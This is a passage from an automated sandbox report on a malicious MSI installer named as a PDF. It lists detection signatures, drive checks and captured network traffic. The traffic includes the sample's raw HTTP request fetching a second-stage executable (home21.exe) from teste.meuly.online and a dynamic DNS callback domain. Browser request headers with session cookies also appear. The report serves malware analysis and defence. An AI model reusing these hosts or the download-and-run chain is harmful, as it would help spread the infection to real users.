Windows Analysis Report
hANEXOPDF.PDF40 234057.msi

Overview

General Information

Sample name: hANEXOPDF.PDF40 234057.msi
Analysis ID: 1467807
MD5: 111a4b1ab79f6dcc0df5389870b547f6
SHA1: 83301a3fbb8e0312307f34955d3873cbd42e09cc
SHA256: f610dbd7208f00b242b9f548410aa1e428e5daf9479d9807095195f6a6a03a73
Tags: msi
Infos:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected MalDoc
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
Creates autostart registry keys with suspicious values (likely registry only malware)
Hides threads from debuggers
Machine Learning detection for dropped file
PE file contains section with special chars
Powershell drops PE file
Query firmware table information (likely to detect VMs)
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Checks for available system drives (often done to infect USB drives)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious MsiExec Embedding Parent
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection
barindex
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 98.5% probability
Machine Learning detection for dropped file
Source: C:\Users\Public\Documents\home21.exe Joe Sandbox ML: detected
Source: https://www.google.com.br/ HTTP Parser: No favicon
Source: https://www.google.com.br/ HTTP Parser: No favicon
Source: https://www.google.com.br/ HTTP Parser: No favicon
Source: https://ogs.google.com.br/widget/callout?prid=19037050&pgid=19037049&puid=9ceb59a7585b55bd&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com.br&cn=callout&pid=1&spid=538&hl=en HTTP Parser: No favicon
Source: https://ogs.google.com.br/widget/callout?prid=19037050&pgid=19037049&puid=9ceb59a7585b55bd&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com.br&cn=callout&pid=1&spid=538&hl=en HTTP Parser: No favicon
Source: https://ogs.google.com.br/widget/callout?prid=19037050&pgid=19037049&puid=9ceb59a7585b55bd&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com.br&cn=callout&pid=1&spid=538&hl=en HTTP Parser: No favicon
Source: https://ogs.google.com.br/widget/app/so?awwd=1&gm3=1&origin=https%3A%2F%2Fwww.google.com.br&cn=app&pid=1&spid=538&hl=en HTTP Parser: No favicon
Source: https://ogs.google.com.br/widget/app/so?awwd=1&gm3=1&origin=https%3A%2F%2Fwww.google.com.br&cn=app&pid=1&spid=538&hl=en HTTP Parser: No favicon
Source: https://ogs.google.com.br/widget/app/so?awwd=1&gm3=1&origin=https%3A%2F%2Fwww.google.com.br&cn=app&pid=1&spid=538&hl=en HTTP Parser: No favicon
Source: unknown HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.111.168.85:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.189.173.21:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb\ source: hANEXOPDF.PDF40 234057.msi, MSIBC4E.tmp.1.dr
Source: Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: hANEXOPDF.PDF40 234057.msi, MSIBC4E.tmp.1.dr
Source: Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr
Source: Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr
Checks for available system drives (often done to infect USB drives)
Source: C:\Windows\System32\msiexec.exe File opened: z: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: x: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: v: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: t: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: r: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: p: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: n: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: l: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: j: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: h: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: f: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: b: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: y: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: w: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: u: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: s: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: q: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: o: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: m: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: k: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: i: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: g: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: e: Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: c:
Source: C:\Windows\System32\msiexec.exe File opened: a: Jump to behavior

Networking
barindex
Yara detected MalDoc
Source: Yara match File source: hANEXOPDF.PDF40 234057.msi, type: SAMPLE
Source: Yara match File source: C:\Windows\Installer\6dba16.msi, type: DROPPED
Uses dynamic DNS services
Source: unknown DNS query: name: winhomemodulo.ddns.net
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xxx/home21.exe HTTP/1.1Host: teste.meuly.onlineConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: COGECO-PEER1CA COGECO-PEER1CA
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.42.73.29
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: global traffic HTTP traffic detected: GET /xxx/home21.exe HTTP/1.1Host: teste.meuly.onlineConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BN45lRbF8D5mNkZ&MD=SD7sv3mO HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BN45lRbF8D5mNkZ&MD=SD7sv3mO HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: www.google.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /xjs/_/ss/k=xjs.hd.uXKqy-U68Tg.L.B1.O/am=AEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAAAACgCfBDAEADYEAAAAIABAAAAAAAAAKAAAAMAEAAAEAJAAEAAQEAAAAACAEEAAQAAIUASQACgIMgABAAARAAOGARAVAAwBAAAAAQQAAAAA4EYAAgQAgBAAAXgAAQAE6AABMAAIAABAAAMYCAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAgAKAAAAAAAAAAAAAAAAAAAACA/d=1/ed=1/br=1/rs=ACT90oGsq-SoWBQak-dlJ1cJ1f6Qo33Eng/m=cdos,hsm,jsa,mb4ZUb,d,csi,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /logos/doodles/2024/fourth-of-july-2024-6753651837110246-law.gif HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.O0yDbPOOl4Q.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG/d=1/ed=1/dg=2/br=1/rs=ACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw/ee=ALeJib:B8gLwd;AfeaP:TkrAjf;BMxAGc:E5bFse;BgS6mb:fidj5d;BjwMce:cXX2Wb;CxXAWb:YyRLvc;DM55c:imLrKe;DULqB:RKfG5c;Dkk6ge:wJqrrd;DpcR3d:zL72xf;EABSZ:MXZt9d;ESrPQc:mNTJvc;EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;EnlcNd:WeHg4;Erl4fe:FloWmf,FloWmf;F9mqte:UoRcbe;Fmv9Nc:O1Tzwc;G0KhTb:LIaoZ;G6wU6e:hezEbd;GleZL:J1A7Od;HMDDWe:G8QUdb;HoYVKb:PkDN7e;HqeXPd:cmbnH;IBADCc:RYquRb;IZrNqe:P8ha2c;IoGlCf:b5lhvb;IsdWVc:qzxzOb;JXS8fb:Qj0suc;JbMT3:M25sS;JsbNhc:Xd8iUd;KOxcK:OZqGte;KQzWid:ZMKkN;KcokUb:KiuZBf;KpRAue:Tia57b;LBgRLc:SdcwHb,XVMNvd;LEikZe:byfTOb,lsjVmc;LsNahb:ucGLNb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Np8Qkd:Dpx6qc;Nyt6ic:jn2sGd;OgagBe:cNTe0;Oj465e:KG2eXe,KG2eXe;OohIYe:mpEAQb;Pjplud:EEDORb,PoEs9b;Q1Ow7b:x5CSu;Q6C5kf:pfdZCe;QGR0gd:Mlhmy;R2kc8b:ALJqWb;R4IIIb:QWfeKf;R9Ulx:CR7Ufe;RDNBlf:zPRCJb;SLtqO:Kh1xYe;SMDL4c:fTfGO,fTfGO;SNUn3:ZwDk9d,x8cHvb;ShpF6e:N0pvGc;SzQQ3e:dNhofb;TxfV6d:YORN0b;U96pRd:FsR04;UBKJZ:LGDJGb;UDrY1c:eps46d;UVmjEd:EesRsb;UyG7Kb:wQd0G;V2HTTe:RolTY;VGRfx:VFqbr;VN6jIc:ddQyuf;VOcgDe:YquhTb;VsAqSb:PGf2Re;VxQ32b:k0XsBb;WCEKNd:I46Hvd;WDGyFe:jcVOxd;Wfmdue:g3MJlb;XUezZ:sa7lqb;YV5bee:IvPZ6d;YkQtAf:rx8ur;ZMvdv:PHFPjb;ZSH6tc:QAvyLe;ZWEUA:afR4Cf;a56pNe:JEfCwb;aAJE9c:WHW6Ef;aCJ9tf:qKftvc;aZ61od:arTwJ;af0EJf:ghinId;bDXwRe:UsyOtc;bcPXSc:gSZLJb;cEt90b:ws9Tlc;cFTWae:gT8qnd;coJ8e:KvoW8;dIoSBb:ZgGg9b;dLlj2:Qqt3Gf;daB6be:lMxGPd;dtl0hd:lLQWFe;eBAeSb:Ck63tb;eBZ5Nd:VruDBd;eHDfl:ofjVkb;eO3lse:nFClrf;euOXY:OZjbQ;g8nkx:U4MzKc;gaub4:TN6bMe;gtVSi:ekUOYd;h3MYod:cEt90b;hK67qb:QWEO5b;heHB1:sFczq;hjRo6e:F62sG;hsLsYc:Vl118;iFQyKf:QIhFr,vfuNJf;imqimf:jKGL2e;io8t5d:sgY6Zb;jY0zg:Q6tNgc;k2Qxcb:XY51pe;kCQyJ:ueyPK;kMFpHd:OTA3Ae;kbAm9d:MkHyGd;lkq0A:JyBE3e;nAFL3:NTMZac,s39S4;nJw4Gd:dPFZH;oGtAuc:sOXFj;oSUNyd:fTfGO,fTfGO;oUlnpc:RagDlc;okUaUd:wItadb;pKJiXd:VCenhc;pNsl2d:j9Yuyc;pXdRYb:JKoKVe;pj82le:mg5CW;qZx2Fc:j0xrE;qaS3gd:yiLg6e;qavrXe:zQzcXe;qddgKe:d7YSfd,x4FYXe;rQSrae:C6D5Fc;sP4Vbe:VwDzFe;sTsDMc:kHVSUb;sZmdvc:rdGEfc;tH4IIe:Ymry6;tosKvd:ZCqP3;trZL0b:qY8PFe;uY49fb:COQbmf;uuQkY:u2V3ud;vGrMZ:lPJJ0c;vfVwPd:lcrkwe;w3bZCb:ZPGaIb;w4rSdf:XKiZ9;w9w86d:dt4g2b;wQlYve:aLUfP;wR5FRb:O1Gjze,TtcOte;wV5Pjc:L8KGxe;whEZac:F4AmNb;xBbsrc:NEW1Qc;ysNiMc:CpIBjd;yxTchf:KUM7Z;z97YGf:oug9te;zOsCQe:Ko78Df;zaIgPb:Qtpxbd/m=cdos,hsm,jsa,mb4ZUb,d,csi,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-fu
Source: global traffic HTTP traffic detected: GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /logos/doodles/2024/fourth-of-july-2024-6753651837110246-law.gif HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=J9-GZvKjJq-Jxc8Pk7aqmA0.1720114985301&dpr=1&nolsbt=1 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /xjs/_/js/md=10/k=xjs.hd.en.O0yDbPOOl4Q.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG/rs=ACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; 